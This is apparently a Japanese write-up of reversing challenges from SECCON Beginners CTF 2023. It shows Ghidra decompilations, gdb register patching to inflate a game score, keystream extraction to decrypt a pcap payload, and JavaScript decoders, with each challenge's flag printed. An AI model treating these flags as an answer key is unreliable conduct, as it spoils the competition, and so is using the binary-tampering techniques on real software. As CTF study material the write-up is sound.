74 00 00 00 62 00 00 00 34 00 00 00 79 00 00 00 5F 00 00 00 31 00 00 00 74 00 00 00 75 00 00 00 30 00 00 00 34 00 00 00 74 00 00 00 65 00 00 00 73 00 00 00 69 00 00 00 66 00 00 00 67 00 00 00 

flag_2
66 00 00 00 7B 00 00 00 6E 00 00 00 30 00 00 00 61 00 00 00 65 00 00 00 30 00 00 00 6E 00 00 00 5F 00 00 00 65 00 00 00 34 00 00 00 65 00 00 00 70 00 00 00 74 00 00 00 31 00 00 00 33 00 00 00

これをASCIIコードとして扱って順番に文字に戻せばいい。いつものJavaScriptで書いた。

<script>

f0 = "63 00 00 00 34 00 00 00 63 00 00 00 5F 00 00 00 75 00 00 00 62 00 00 00 5F 00 00 00 5F 00 00 00 64 00 00 00 74 00 00 00 5F 00 00 00 72 00 00 00 5F 00 00 00 31 00 00 00 5F 00 00 00 34 00 00 00 7D 00 00 00".split(" ");
f1 = "74 00 00 00 62 00 00 00 34 00 00 00 79 00 00 00 5F 00 00 00 31 00 00 00 74 00 00 00 75 00 00 00 30 00 00 00 34 00 00 00 74 00 00 00 65 00 00 00 73 00 00 00 69 00 00 00 66 00 00 00 67 00 00 00 ".split(" ");
f2 = "66 00 00 00 7B 00 00 00 6E 00 00 00 30 00 00 00 61 00 00 00 65 00 00 00 30 00 00 00 6E 00 00 00 5F 00 00 00 65 00 00 00 34 00 00 00 65 00 00 00 70 00 00 00 74 00 00 00 31 00 00 00 33 00 00 00".split(" ");

flag = ""

for(i=0; i<80; i+=4){
        if(f0.length>i)flag += String.fromCharCode(parseInt(f0[i],16));
        if(f1.length>i)flag += String.fromCharCode(parseInt(f1[i],16));
        if(f2.length>i)flag += String.fromCharCode(parseInt(f2[i],16));
}


document.write(flag);
</script>

ctf4b{c4n_y0u_ab1e_t0_und0_t4e_t4ree_sp1it_f14g3}

Poker (reversing:medium)

みんなでポーカーで遊ぼう!点数をたくさん獲得するとフラグがもらえるみたい!

でもこのバイナリファイル、動かしてみると...?実行しながら中身が確認できる専門のツールを使ってみよう!

Poker.tar.gz 90920728f7e3757e105c71df2cfda0ffb534cf99

Poker実行

ゲームをするプログラム。プレーヤー1か2を選んで当たったらスコアが増える。連勝が必要そうだ。

Ghidraで解析するとゲーム用の関数がいくつか見つかる。勝ち負け判定をしている関数を示す。

ulong FUN_00101fb7(int param_1,int param_2)

{
  undefined8 uVar1;
  int iVar2;
  time_t tVar3;
  uint local_1dc;
  uint uStack452;
  uint uStack444;
  undefined8 local_1b8;
  undefined8 local_1b0;
  int local_18;
  int local_14;
  int local_10;
  int local_c;
  
  local_14 = 0;
  local_c = 0;
  while (local_c < 4) {
    local_10 = 1;
    while (local_10 < 0xe) {
      *(int *)(&local_1b8 + local_14) = local_c;
      *(int *)((long)&local_1b8 + (long)local_14 * 8 + 4) = local_10;
      local_14 = local_14 + 1;
      local_10 = local_10 + 1;
    }
    local_c = local_c + 1;
  }
  tVar3 = time((time_t *)0x0);
  srand((uint)tVar3);
  local_c = 0;
  while (local_c < 0x34) {
    iVar2 = rand();
    local_18 = iVar2 % 0x34;
    uVar1 = (&local_1b8)[local_c];
    (&local_1b8)[local_c] = (&local_1b8)[iVar2 % 0x34];
    (&local_1b8)[local_18] = uVar1;
    local_c = local_c + 1;
  }
  uStack444 = (uint)((ulong)local_1b8 >> 0x20);
  uStack452 = (uint)((ulong)local_1b0 >> 0x20);
  if (uStack452 < uStack444) {
    if (param_2 == 1) {
      puts("[+] Player 1 wins! You got score!");
      local_1dc = param_1 + 1;
    }
    else {
      puts("[-] Player 1 wins! Your score is reseted...");
      local_1dc = 0;
    }
  }
  else {
    if (uStack444 < uStack452) {
      if (param_2 == 2) {
        puts("[+] Player 2 wins! You got score!");
        local_1dc = param_1 + 1;
      }
      else {
        puts("[-] Player 2 wins! Your score is reseted...");
        local_1dc = 0;
      }
    }
    else {
      puts("[+] It\'s a tie! Your score is reseted...");
      local_1dc = 0;
    }
  }
  return (ulong)local_1dc;
}

ゲームの全体進行は手持ちのGhidraでは関数としては解析できなかったので、該当するアセンブリコードを抜き出す。

        0010227a e8 44 ff        CALL       FUN_001021c3                                     undefined FUN_001021c3(void)
                 ff ff
        0010227f c7 45 f8        MOV        dword ptr [RBP + -0x8],0x0
                 00 00 00 00
        00102286 eb 3f           JMP        LAB_001022c7
                             LAB_00102288                                    XREF[1]:     001022cb(j)  
        00102288 8b 45 fc        MOV        EAX,dword ptr [RBP + -0x4]
        0010228b 89 c7           MOV        EDI,EAX
        0010228d e8 90 ff        CALL       FUN_00102222                                     undefined FUN_00102222(uint para
                 ff ff
        00102292 b8 00 00        MOV        EAX,0x0
                 00 00
        00102297 e8 dd fe        CALL       FUN_00102179                                     ulong FUN_00102179(void)
                 ff ff
        0010229c 89 45 f4        MOV        dword ptr [RBP + -0xc],EAX
        0010229f 8b 55 f4        MOV        EDX,dword ptr [RBP + -0xc]
        001022a2 8b 45 fc        MOV        EAX,dword ptr [RBP + -0x4]
        001022a5 89 d6           MOV        ESI,EDX
        001022a7 89 c7           MOV        EDI,EAX
        001022a9 e8 09 fd        CALL       FUN_00101fb7                                     ulong FUN_00101fb7(int param_1, 
                 ff ff
        001022ae 89 45 fc        MOV        dword ptr [RBP + -0x4],EAX
        001022b1 83 7d fc 63     CMP        dword ptr [RBP + -0x4],0x63
        001022b5 7e 0c           JLE        LAB_001022c3
        001022b7 e8 e4 ee        CALL       FUN_001011a0                                     undefined8 FUN_001011a0(void)
                 ff ff
        001022bc b8 00 00        MOV        EAX,0x0
                 00 00
        001022c1 eb 0f           JMP        LAB_001022d2
                             LAB_001022c3                                    XREF[1]:     001022b5(j)  
        001022c3 83 45 f8 01     ADD        dword ptr [RBP + -0x8],0x1
                             LAB_001022c7                                    XREF[1]:     00102286(j)  
        001022c7 83 7d f8 62     CMP        dword ptr [RBP + -0x8],0x62
        001022cb 7e bb           JLE        LAB_00102288
        001022cd b8 00 00        MOV        EAX,0x0
                 00 00
                             LAB_001022d2                                    XREF[1]:     001022c1(j)  
        001022d2 c9              LEAVE
        001022d3 c3              RET

gdbでアタッチして勝ち負けを判定するFUN_00101fb7を呼ぶところ(001022a9)を確認すると、FUN_00101fb7に引数で増やすscoreの値が渡されているので、ここでレジスタを書き換えてscoreを大きく増やせそうだ。

FUN_00101fb7を呼ぶところでset $rdi = 1000で引数を変更、運が良ければ[+] Player 1 wins! You got score!などとscoreが増える。

一気に1000scoreを増やしたところ、[!] You got a FLAG! ctf4b{4ll_w3_h4v3_70_d3cide_1s_wh4t_t0_d0_w1th_7he_71m3_7h47_i5_g1v3n_u5}とflagが表示された。

ctf4b{4ll_w3_h4v3_70_d3cide_1s_wh4t_t0_d0_w1th_7he_71m3_7h47_i5_g1v3n_u5}

Leak (reversing:medium)

サーバーから不審な通信を検出しました!

調査したところさらに不審なファイルを発見したので、通信記録と合わせて解析してください。

機密情報が流出してしまったかも...?

Leak.tar.gz 490838f1586dc1a7a9347ea879beb78575555b88

実行バイナリとpcapファイルが配布される。pcapファイルをWireSharkで開いてTCPストリームを調べると短いバイト列が見つかる。

8e57ff5945da900628b2abfa497332334a7329413c34b7f66273250f954016fa47e9228da5cd3d53eeb4b3518ed289935be059cbfbb11b

実行バイナリのほうをGhidraで逆コンパイルすると暗号化関数を発見。

void encrypt(char *__block,int __edflag)

{
  byte bVar1;
  ulong in_RCX;
  long in_RDX;
  undefined4 in_register_00000034;
  long in_FS_OFFSET;
  byte local_123;
  byte local_122;
  uint local_120;
  uint local_11c;
  byte abStack280 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_120 = 0;
  while (local_120 < 0x100) {
    abStack280[local_120] = (char)local_120 + 0x35;
    local_120 = local_120 + 1;
  }
  local_120 = 0;
  local_11c = 0;
  while (local_120 < 0x100) {
    local_11c = (uint)abStack280[local_120] +
                *(byte *)(in_RDX + (ulong)local_120 % in_RCX) + local_11c & 0xff;
    bVar1 = abStack280[local_120];
    abStack280[local_120] = abStack280[local_11c];
    abStack280[local_11c] = bVar1;
    local_120 = local_120 + 1;
  }
  local_122 = 0;
  local_123 = 0;
  local_120 = 0;
  while ((ulong)local_120 < CONCAT44(in_register_00000034,__edflag)) {
    local_123 = local_123 + 1;
    local_122 = local_122 + abStack280[(int)(uint)local_123];
    bVar1 = abStack280[(int)(uint)local_123];
    abStack280[(int)(uint)local_123] = abStack280[(int)(uint)local_122];
    abStack280[(int)(uint)local_122] = bVar1;
    __block[local_120] =
         __block[local_120] ^
         abStack280
         [(int)(uint)(byte)(abStack280[(int)(uint)local_122] + abStack280[(int)(uint)local_123])];
    local_120 = local_120 + 1;
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

__blockに入った入力文字列を最終的に暗号化用の配列で順番にXORをしているだけなので、abStack280の中身がわかればいい。試しにこのコードを動くように書き直してみたがなぜか上手く行かない。

仕方がないのでgdbでアタッチして、XORされる部分のデータをflagの文字数分だけ書き写した。書き写すのは逆アセンブルしたつ次の部分でECXレジスタの値となる。

        00101518 31 ce           XOR        __edflag,ECX

これを使ってJavaScriptで復号コードを書いた。

var pcap = "8e57ff5945da900628b2abfa497332334a7329413c34b7f66273250f954016fa47e9228da5cd3d53eeb4b3518ed289935be059cbfbb11b";
var __block = [];
for(var i=0; i<pcap.length/2; i++)__block[i] = parseInt(pcap.substr(i*2,2),16);
c = [0xed,0x23,0x99,0x6d,0x27,0xa1,0xe0,0x32,0x51,0xed,0xc5,0xca,0x16,0x47,0x46,0x47,0x2f,0x1d,0x5d,0x70,0xc,0x5a,0xe8,0x82,0x52,0x2c,0x51,0x3b,0xf4,0x34,0x49,0x97,0x73,0x87,0x7d,0xef,0xc0,0xa5,0xc,0x3d,0x8a,0xeb,0xc7,0x65,0xeb,0x8d,0xea,0xe6,0x29,0xd4,0x38,0xfa,0x95,0xcc];
for(var i=0; i<c.length; i++)document.write(String.fromCharCode(__block[i] ^ c[i]))

ctf4b{p4y_n0_4ttent10n_t0_t4at_m4n_beh1nd_t4e_cur4a1n}

Heaven (reversing:hard)

メッセージを暗号化するプログラムを作りました。

<解読してみてください!

Heaven.tar.gz f088ab04b586f9f424144dab142796cd3c8d333a

ひたすら根気よくgdbを回して解いた。実行バイナリとlogが配布される。

log.txt$ ./heaven
------ menu ------
0: encrypt message
1: decrypt message
2: exit
> 0
message: ctf4b{---CENSORED---}
encrypted message: ca6ae6e83d63c90bed34a8be8a0bfd3ded34f25034ec508ae8ec0b7f

実行バイナリを動かしてみると、繰り返し暗号化ができる。

$ ./heaven 
------ menu ------
0: encrypt message
1: decrypt message
2: exit
> 0
message: ctf4b{*******************}
encrypted message: 2322fb127e650a00000000000000000000000000000000000000f3
$ ./heaven 
------ menu ------
0: encrypt message
1: decrypt message
2: exit
> 0
message: ctf4b{*******************}
encrypted message: 4db3627baf0272a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a198

適当に文字列を暗号化すると、同一の文字は同じ暗号文に変換されるが、実行毎に暗号結果が変わることがわかった。

Ghidraで逆アセンブルしてmain関数を確認する。

undefined8 main(void)

{
  byte bVar1;
  int iVar2;
  uint uVar3;
  uint uVar4;
  char *pcVar5;
  long lVar6;
  uint *puVar7;
  uint *puVar8;
  long lVar9;
  long lVar10;
  bool bVar11;
  byte local_21;
  char local_20 [8];
  
  getrandom(&local_21,1,0);
  while( true ) {
    while( true ) {
      puts("------ menu ------");
      puts("0: encrypt message");
      puts("1: decrypt message");
      puts("2: exit");
      __printf_chk(1,&DAT_00402045);
      pcVar5 = fgets(local_20,8,stdin);
      if (pcVar5 == (char *)0x0) {
        return 0;
      }
      lVar6 = strtol(local_20,(char **)0x0,10);
      iVar2 = (int)lVar6;
      if (iVar2 != 1) break;
      puts("TODO: implement decrypt_message()");
    }
    if (iVar2 == 2) break;
    if (iVar2 == 0) {
      __printf_chk(1,"message: ");
      fgets(message,0x100,stdin);
      puVar8 = (uint *)message;
      do {
        puVar7 = puVar8;
        uVar3 = *puVar7 + 0xfefefeff & ~*puVar7;
        uVar4 = uVar3 & 0x80808080;
        puVar8 = puVar7 + 1;
      } while (uVar4 == 0);
      bVar11 = (uVar3 & 0x8080) == 0;
      bVar1 = (byte)uVar4;
      if (bVar11) {
        bVar1 = (byte)(uVar4 >> 0x10);
      }
      if (bVar11) {
        puVar8 = (uint *)((long)puVar7 + 6);
      }
      lVar6 = (long)puVar8 + (-0x4041c3 - (ulong)CARRY1(bVar1,bVar1));
      if (lVar6 != 0) {
        lVar6 = lVar6 + -1;
        if (lVar6 != 0) {
          lVar9 = 0;
          do {
            lVar10 = lVar9 + 1;
            bVar1 = calc_xor();
            message[lVar9] = sbox[bVar1];
            lVar9 = lVar10;
          } while (lVar6 != lVar10);
        }
        __printf_chk(1,"encrypted message: %02x",(ulong)local_21);
        print_hexdump(message,lVar6);
      }
    }
  }
  return 0;
}

最初にgetrandomを実行しており、引数から1バイトの乱数が使われている。であれば256分の1の確率で再現するのでは、と期待してctf4bを入力して数十回試したが当たらなかった。

気を取り直してmain関数を見ると、入力されたmessageはsboxを使って文字列を置換していることがわかる。sboxの内容はGhidra上で確認できる。置換する位置はcalc_xor()で計算されているが、Ghidraでは上手く中身が見えないのでgdbで確認してみる。

注意深くcalc_xorの実行を追っていく。

gdb calc_xor

calc_xorを呼ぶ直前。引数に与えられている文字列は、arg[0]がこのループで暗号化する対象文字で、arg[1]が起動毎に決定される乱数で暗号鍵である。

gdb xor 1

xorを行うところで止めた様子。RAXの対象文字とRSIの暗号鍵を演算する。

gdb xor 2

しかしもう1ステップ進めると内容が少し変化して、RAXの対象文字のバイト値が1小さくなる。XORは同じ。

gdb xor 3

xorを抜けるとRAXが変化する。この場合、直前のRAXの0x24とRSIの0x41のXORが0x24となるのでXORされている。つまり入力文字mに対して、(m-1)^keyを計算している。

また出力される暗号化文字列は、例えば今回はctf4bを暗号化したところ、410e7419def5が得られた。元の文字列より1文字分多く、先頭の41は暗号鍵となっている。

以上から、問題の暗号文ca6ae6e83d63c90bed34a8be8a0bfd3ded34f25034ec508ae8ec0b7fはcaが暗号鍵で6ae6e83d63c90bed34a8be8a0bfd3ded34f25034ec508ae8ec0b7fが暗号文である。これを復号するコードを懲りずにJavaScriptで書いた。

<script>
sbox = "c2 53 bb 80 2e 5f 1e b5 17 11 00 9e 24 c5 cd d2 7e 39 c6 1a 41 52 a9 99 03 69 8b 73 6f a0 f1 d8 f5 43 7d 0e 19 94 b9 36 7b 30 25 18 02 a7 db b3 90 98 74 aa a3 20 ea 72 a2 8e 14 5b 23 96 62 a4 46 22 65 7a 08 f6 12 ac 44 e9 28 8d fe 84 c3 e3 fb 15 91 3a 8f 56 eb 33 6d 0a 31 27 54 f9 4a f3 bf 4b da 68 a1 3c ff 38 a6 3e b7 c0 9a 35 ca 09 b8 8c de 1c 0c 32 2a 0f 82 ad 64 45 85 d1 af d9 fc b4 29 01 9b 60 75 ce 4f c8 cc e2 e4 f7 d4 04 67 92 e5 c7 34 0d f0 93 2c d5 dd 13 95 81 88 47 9d 0b 1f 5e 5d a8 e7 05 6a ed 2b 63 2f 4c cb e8 c9 5a dc c4 b0 e1 7f 9f 06 e6 57 be bd c1 ec 59 26 f4 b1 16 86 d7 70 37 4d 71 77 df ba f8 3b 55 9c 79 07 83 97 d6 6e 61 1d 1b a5 40 ab bc 6b 89 ae 51 78 b6 b2 fd fa d3 87 ef ee e0 2d 4e 3f 6c 66 5c 7c 10 cf 49 48 21 8a 3d f2 76 d0 42 50 58 00".split(" ");

key = "ca";
enc = "6ae6e83d63c90bed34a8be8a0bfd3ded34f25034ec508ae8ec0b7f";

x = parseInt(key,16);

for(i=0;i<enc.length/2;i++) {
        index = sbox.indexOf(enc.substr(i*2,2))
        document.write(String.fromCharCode((index^x)+1));
}
</script>

ctf4b{ld_pr3l04d_15_u53ful}

Welcome (Welcome)

Welcome to SECCON Beginners CTF 2023!

フラグはDiscordサーバのannouncementsチャンネルにて公開されています。

ctf4b{Welcome_to_SECCON_Beginners_CTF_2023!!!}